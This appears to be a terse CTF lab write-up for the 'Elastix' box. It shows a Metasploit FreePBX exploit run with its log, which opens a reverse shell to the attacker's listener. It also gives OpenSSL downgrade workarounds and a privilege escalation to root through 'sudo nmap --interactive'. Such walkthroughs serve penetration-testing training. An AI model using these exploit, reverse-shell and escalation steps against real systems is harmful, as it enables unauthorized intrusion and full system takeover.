elastix

msf5 exploit(unix/http/freepbx_callmenum) > show options
Module options (exploit/unix/http/freepbx_callmenum):
Name Current Setting Required Description
---- --------------- -------- -----------
EXTENSION 230-240 yes A range of Local extension numbers
Proxies http:127.0.0.1:8080 no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.7 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.16.122 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf5 exploit(unix/http/freepbx_callmenum) > run
[*] Started reverse TCP double handler on 10.10.16.122:4444
[*] 10.10.10.7:443 - Sending evil request with range 230
[*] 10.10.10.7:443 - Sending evil request with range 231
[*] 10.10.10.7:443 - Sending evil request with range 232
[*] 10.10.10.7:443 - Sending evil request with range 233
[*] 10.10.10.7:443 - Sending evil request with range 234
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo qaF1oILSz5kNCclV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "qaF1oILSz5kNCclV\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.16.122:4444 -> 10.10.10.7:39534) at 2020-05-25 01:37:26 +0800
issue to fix
set ssl true
issue
msf5 exploit(unix/http/freepbx_callmenum) > run
[*] Started reverse TCP double handler on 10.10.16.122:4444
[*] 10.10.10.7:443 - Sending evil request with range 200
[*] 10.10.10.7:443 - Sending evil request with range 201
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf5 exploit(unix/http/freepbx_callmenum) > show options Interrupt: use the 'exit' command to quit
OPENSSL too new, auto discard low versio df key.
solution
# use burp to proxy
set proxies http:127.0.0.1:8080
set ReverseAllowProxy true
or use it(unused)
sed -i 's,^\(MinProtocol[ ]*=\).*,\1'TLSv1.0',g' /etc/ssl/openssl.cnf
$ sed -i 's,^\(CipherString[ ]*=\).*,\1'DEFAULT@SECLEVEL=1',g' /etc/ssl/openssl.cnf
提权
查看信息
sudo -l
Matching Defaults entries for asterisk on this host:
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY"
User asterisk may run the following commands on this host:
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/bin/yum
(root) NOPASSWD: /bin/touch
(root) NOPASSWD: /bin/chmod
(root) NOPASSWD: /bin/chown
(root) NOPASSWD: /sbin/service
(root) NOPASSWD: /sbin/init
(root) NOPASSWD: /usr/sbin/postmap
(root) NOPASSWD: /usr/sbin/postfix
(root) NOPASSWD: /usr/sbin/saslpasswd2
(root) NOPASSWD: /usr/sbin/hardware_detector
(root) NOPASSWD: /sbin/chkconfig
(root) NOPASSWD: /usr/sbin/elastix-helper
发现个nmap,交互式直接得shell,开冲
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive
# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
ref